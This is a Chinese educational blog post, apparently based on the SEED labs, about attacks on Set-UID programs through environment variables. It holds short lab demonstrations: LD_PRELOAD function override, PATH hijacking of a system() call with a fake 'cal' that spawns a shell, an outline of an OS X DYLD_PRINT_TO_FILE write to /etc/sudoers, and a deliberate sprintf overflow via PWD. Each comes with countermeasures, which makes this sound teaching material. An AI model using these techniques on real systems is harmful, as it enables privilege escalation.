基础漏洞II 针对环境变量的攻击及案例分析 Attack Surface on Environment Variables

针对环境变量的攻击及案例分析 Attack Surface on Environment Variables

对环境变量的介绍以及访问&获取方法,在setuid程序的应用等在上一篇博客讲到 环境变量与Shell变量的定义&区别&用法;环境变量的访问&获取&传递

这篇主要讲针对环境变量的攻击;尤其是在setuid程序中

Attack Surface on Environment Variables

  • Linker
  • Application
    • library
    • external program
    • application code

文章目录

    • 针对环境变量的攻击及案例分析 Attack Surface on Environment Variables
      • 一、通过动态链接攻击 Attacks via Dynamic Linker
            • 静态链接
            • 动态链接
        • 通过动态链接器的攻击案例:
            • 风险
          • 案例研究1
            • 示例1 – Normal Programs ( continued )
            • 示例2 – Set-UID Programs:
          • 案例研究2:OS X动态链接器
      • 二、通过外部程序攻击
        • 案例研究
            • 通过外部程序攻击:攻击表面
      • 三、通过Library 库攻击
        • 案例研究- UNIX中的区域设置 Locale
      • 四、通过应用程序代码进行攻击
        • 通过应用程序代码进行攻击 - 对策
      • Set-UID方法VS服务方法
    • 总结 Summary


一、通过动态链接攻击 Attacks via Dynamic Linker

  • 链接查找程序中引用的外部库代码
  • 链接可以在运行时或编译时完成:
    • 动态链接-使用环境变量,它成为攻击面的一部分
    • 静态链接

我们将使用以下示例来区分静态链接和动态链接:

#include 
int main()
{
    printf("hello world!\n");
    return 0;
}
静态链接
  • 链接器结合了程序代码和包含printf()函数的库代码

  • 我们可以注意到静态编译程序的大小几乎是动态程序的100倍

seed@seed-virtual-machine:~/workspace/$ gcc hello.c -o hello_dynamic
seed@seed-virtual-machine:~/workspace/$ gcc hello.c -static -o hello_static
seed@seed-virtual-machine:~/workspace/$ ls -l
total 948
-rw-rw-r-- 1 seed seed     71 3月  16 20:54 hello.c
-rwxrwxr-x 1 seed seed  16696 3月  16 20:55 hello_dynamic
-rwxrwxr-x 1 seed seed 871704 3月  16 20:55 hello_static
动态链接

•链接在运行时完成:共享库(windows中的DLL)
•在使用动态链接编译的程序运行之前,它的可执行文件首先被加载到内存中

基础漏洞II 针对环境变量的攻击及案例分析 Attack Surface on Environment Variables_第1张图片

我们可以使用“ldd”命令来查看程序依赖哪些共享库:

seed@seed-virtual-machine:~/workspace/$ ldd hello_dynamic 
    linux-vdso.so.1 (0x00007fff2e5d0000)   # for system calls
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f353eb81000) 
    # The libc library (contains functions like printf() and sleep())
    /lib64/ld-linux-x86-64.so.2 (0x00007f353ed8a000) 
    # 动态链接器本身位于共享库中。它在主函数被调用之前被调用。
seed@seed-virtual-machine:~/workspace/$ ldd hello_static 
    not a dynamic executable

通过动态链接器的攻击案例:

风险
  • •动态链接节省内存
  • •这意味着在编译期间程序的一部分代码是未确定的
  • •如果用户可以影响缺失的代码,他们可能会损害程序的完整性
案例研究1
  • LD_PRELOAD包含一个共享库列表,它将首先被链接器搜索
  • 如果没有找到所有的函数,链接器将在多个文件夹列表中搜索,其中包括由LD_LIBRARY_PATH指定的文件夹
  • 这两个变量都可以由用户设置,因此它给用户一个机会来控制链接过程的结果
  • 如果该程序是Set-UID程序,它可能会导致安全漏洞

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

LD_PRELOAD的偷梁换柱之能

示例1 – Normal Programs ( continued )

程序调用动态链接的sleep函数:

#include  
/* mytest.c */
int main()
{
    sleep(1);
    return 0;
}

现在我们实现自己的sleep()函数:

#include 
/* sleep.c */
void sleep(int s)
{
    printf("I am not sleeping!\n");
}

我们需要编译上述代码,创建共享库,并将共享库添加到LD_PRELOAD环境变量中

运行结果:

seed@seed-virtual-machine:~/workspace/$ gcc mytest.c -o mytest
seed@seed-virtual-machine:~/workspace/$ ./mytest 
seed@seed-virtual-machine:~/workspace/$ gcc -c sleep.c 
seed@seed-virtual-machine:~/workspace/$ gcc -shared -o libmylib.so.1.0.1 sleep.o
seed@seed-virtual-machine:~/workspace/$ ls -l
-rwxrwxr-x 1 seed seed  16200 3月  17 19:20 libmylib.so.1.0.1
-rwxrwxr-x 1 seed seed  16696 3月  17 19:19 mytest
-rw-rw-r-- 1 seed seed     86 3月  17 19:19 mytest.c
-rw-rw-r-- 1 seed seed     73 3月  17 19:16 sleep.c
-rw-rw-r-- 1 seed seed   1696 3月  17 19:19 sleep.o
seed@seed-virtual-machine:~/workspace/$ export LD_PRELOAD=./libmylib.so.1.0.1 
seed@seed-virtual-machine:~/workspace/$ ./mytest 
I am not sleeping!
seed@seed-virtual-machine:~/workspace/$ unset LD_PRELOAD 
seed@seed-virtual-machine:~/workspace/$ ./mytest 
seed@seed-virtual-machine:~/workspace/$ 
示例2 – Set-UID Programs:

如果示例1中的技术适用于Set-UID程序,那么它可能非常危险。让我们把上面的程序转换成Set-UID:

seed@seed-virtual-machine:~/workspace/$ sudo chown root mytest
seed@seed-virtual-machine:~/workspace/$ sudo chmod 4755 mytest
seed@seed-virtual-machine:~/workspace/$ ls -l mytest
-rwsr-xr-x 1 root seed 16696 3月  17 19:19 mytest
seed@seed-virtual-machine:~/workspace/$ export LD_PRELOAD=./libmylib.so.1.0.1 
seed@seed-virtual-machine:~/workspace/$ ./mytest 
seed@seed-virtual-machine:~/workspace/$ 

看出我们的sleep()函数没有被调用。这是由于动态连接器实现的对策。当EUID和RUID不同时,它会忽略LD_PRELOAD和LD_LIBRARY_PATH环境变量。

用下一个例子来验证这个对策。

我们来验证一下反制措施;复制env程序,并将其设置为Set-UID程序:

seed@seed-virtual-machine:~/workspace/$ cp /usr/bin/env ./myenv
seed@seed-virtual-machine:~/workspace/$ sudo chown root myenv
seed@seed-virtual-machine:~/workspace/$ sudo chmod 4755 myenv
seed@seed-virtual-machine:~/workspace/$ ls -l myenv
-rwsr-xr-x 1 root seed 43352 3月  17 19:31 myenv

导出LD_LIBRARY_PATH和LD_PRELOAD并运行这两个程序:

seed@seed:~/workspace/$ export LD_PRELOAD=./libmylib.so.1.0.1 
seed@seed:~/workspace/$ export LD_LIBRARY_PATH=.
seed@seed:~/workspace/$ export LD_MYOWN="my own value"
# Run the original env program
seed@seed:~/workspace/$ env | grep LD_
LD_PRELOAD=./libmylib.so.1.0.1
LD_MYOWN=my own value
LD_LIBRARY_PATH=.
# Run our env program
seed@seed:~/workspace/$ ./myenv | grep LD_
LD_MYOWN=my own value

看出,LD_PRELOAD和LD_LIBRARY_PATH 环境变量被忽略

案例研究2:OS X动态链接器
  • 正如第1章(在能力泄漏 capability leak)中讨论的,苹果OS X 10.10引入了一个新的环境变量,但没有很好地分析它的安全影响。
  • DYLD_PRINT_TO_FILE
    • 为用户提供文件名dyld的能力
    • 如果是Set-UID程序,用户可以写入受保护的文件
    • 能力泄漏-文件描述符未关闭
  • 利用的例子:
    • 设置 DYLD_PRINT_TO_FILE 为 /etc/sudoers
    • 切换到Bob的账户
    • echo命令写入/etc/sudoers

二、通过外部程序攻击

应用程序可以调用外部程序。应用程序本身可能不使用环境变量,但调用的外部程序可能使用。
调用外部程序的典型方法:

  • exec()函数族调用execve():直接运行程序
  • system()
    • system()函数调用execl()
    • execl()最终调用execve()来运行/bin/sh
    • shell程序然后运行该程序

这两种方法的攻击表面不同。我们已经在第一章中讨论了这种shell程序的攻击面。这里我们将重点讨论环境变量方面。

案例研究

Shell程序的行为受许多环境变量的影响,其中最常见的是PATH变量。当shell程序运行一个命令而没有提供绝对路径时,它会使用path变量来定位该命令。

考虑以下代码:

/* the vulnerable program */
/* vul.c */
#include 
int main()
{
    system("cal"); //没有提供完整的路径。我们可以用它来操作path变量
}

我们将强制上述程序执行以下程序:

/* our malicious "calendar" program */
/* cal.c */
int main()
{
    system("/bin/dash");
}

首先运行第一个程序,不对他进行攻击;然后改变 PATH 环境变量;

运行过程:

seed@seed-virtual-machine:~/workspace/$ gcc vul.c -o val
seed@seed-virtual-machine:~/workspace/$ sudo chown root val
seed@seed-virtual-machine:~/workspace/$ sudo chmod 4755 val
seed@seed-virtual-machine:~/workspace/$ ./val
      三月 2021         
日 一 二 三 四 五 六  
    1  2  3  4  5  6  
 7  8  9 10 11 12 13  
14 15 16 17 18 19 20  
21 22 23 24 25 26 27  
28 29 30 31           
                      
seed@seed-virtual-machine:~/workspace/$ gcc cal.c -o cal 
seed@seed-virtual-machine:~/workspace/$ export PATH=.:$PATH
seed@seed-virtual-machine:~/workspace/$ echo $PATH
.:/home/seed/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
seed@seed-virtual-machine:~/workspace/$ ls -l val
-rwsr-xr-x 1 root seed 16696 3月  17 19:59 val
seed@seed-virtual-machine:~/workspace/$ ./val
$       # get a shell!
$ id 
uid=1000(seed) gid=1000(seed) groups=1000(seed),...
$ exit

通过调用system() 的setuid程序得不到root 的 shell,原因: system()函数的setuid程序得不到root的权限;system()函数的suid失效问题

可以用execve() 函数来代替

通过外部程序攻击:攻击表面
  • 与system()相比,execve()的攻击面更小
  • execve()不调用shell,因此不受环境变量的影响
  • 在特权程序中调用外部程序时,应该使用execve()

三、通过Library 库攻击

程序通常使用来自外部库的函数。如果这些函数使用环境变量,它们将添加到攻击面

案例研究- UNIX中的区域设置 Locale

每次需要打印一条消息时,程序使用提供的库函数来翻译消息。Unix使用libc库中的gettext()和catopen()

下面的代码展示了程序如何使用locale子系统:

locale是linux系统中多语言环境的设置接口,Locale根据计算机用户所使用的语言,所在国家或者地区,以及当地的文化传统所定义的一个软件运行时的语言环境。

#include 
#include 
#include 
#include 
int main(int argc, char const *argv[])
{
    if(argc>1){
        printf(gettext("usage: %s filename\n"),argv[0]);
        exit(0);
    }
    printf("normal excution proceeds...\n");
    return 0;
}
  • 这个子系统依赖于以下环境变量:LANG, LANGUAGE, NLSPATH, LOCPATH, LC_ALL, LC_MESSAGES
  • 这些变量可以由用户设置,因此翻译后的消息可以由用户控制。
  • 攻击者可以使用格式化字符串漏洞来格式化printf()函数-更多信息见第六章
  • 对策:
    • 这取决于library的作者
    • 示例:Conectiva Linux使用Glibc 2.1.1库显式检查并忽略nsslpath环境变量,如果catopen()和catgets()函数被Set-UID程序调用

四、通过应用程序代码进行攻击

程序可以直接使用环境变量。如果这些是特权程序,则可能导致不受信任的输入。

#include 
#include 
/* prog.c */
int main(void)
{
    char arr[64];
    char *ptr;

    ptr = getenv("PWD");
    if(ptr!=NULL){
        sprintf(arr,"Present working directory is: %s",ptr);
        printf("%s\n", arr);
    }
    return 0;
}

运行结果:

seed@seed-virtual-machine:~/workspace$ gcc prog.c -o prog
seed@seed-virtual-machine:~/workspace$ ./prog 
Present working directory is: /home/seed/workspace
  • 程序使用getenv()从PWD环境变量中了解当前目录。然后程序将其复制到数组“arr”中,但忘记检查输入的长度。这将导致潜在的缓冲区溢出。
  • PWD的值来自shell程序,所以每次我们更改文件夹时,shell程序都会更新它的shell变量。
  • 我们可以自己改变shell变量。
seed@seed-virtual-machine:~/workspace$ cd /
seed@seed-virtual-machine:/$ echo $PWD
/   # Current directory with unmodified shell variable
seed@seed-virtual-machine:/$ PWD=xyz
seed@seed-virtual-machine:xyz$ pwd
/
seed@seed-virtual-machine:xyz$ echo $PWD
xyz # Current directory with modified shell variable

通过应用程序代码进行攻击 - 对策

  • 当有特权的Set-UID程序使用环境变量时,必须对它们进行适当的消毒。
  • 开发者可以选择使用getenv()的安全版本,如secure_getenv()。、
    • getenv()通过搜索环境变量列表,并返回一个指向所找到字符串的指针来检索环境变量。
    • secure_getenv()的工作方式完全相同,除了当需要“安全执行”时,它返回NULL。
    • 安全执行是由如下条件定义的: 当进程的用户/组的EUID和RUID不匹配时
  • When environment variables are used by privileged Set-UID programs, they must be sanitized properly.
  • Developers may choose to use a secure version of getenv(), such as secure_getenv().
    • getenv() works by searching the environment variable list and returning a pointer to the string found, when used to retrieve a environment variable.
    • secure_getenv() works the exact same way, except it returns NULL when “secure execution” is required.
    • Secure execution is defined by conditions like when the process’s user/group EUID and RUID don’t match

Set-UID方法VS服务方法

Set-UID Approach VS Service Approach

基础漏洞II 针对环境变量的攻击及案例分析 Attack Surface on Environment Variables_第2张图片

  • 大多数操作系统遵循两种方法来允许普通用户执行特权操作
    • Set-UID方法:普通用户必须运行一个特殊的程序来临时获得root权限
    • 服务方式:普通用户必须请求特权服务来为他们执行操作。图描述了这两种方法
  • Set-UID有更广泛的攻击面,这是由环境变量引起的
    • 在Set-UID方法中不能信任环境变量
    • 环境变量在服务方法中可以信任
  • 尽管其他攻击面仍然适用于服务方法,但它被认为比Set-UID方法更安全
  • 由于这个原因,Android操作系统完全删除了SetUID和Set-GID机制

总结 Summary

  • 环境变量
  • 环境变量如何传递给子进程
  • 环境变量对程序的影响
  • 环境变量的风险介绍
  • 案例学习
  • Set-UID和service方法的攻击表面比较

• What are environment variables
• How they get passed from one process to its children
• How environment variables affect the behaviors of programs
• Risks introduced by environment variables
• Case studies
• Attack surface comparison between Set-UID and service approaches

你可能感兴趣的:(软件安全,linux)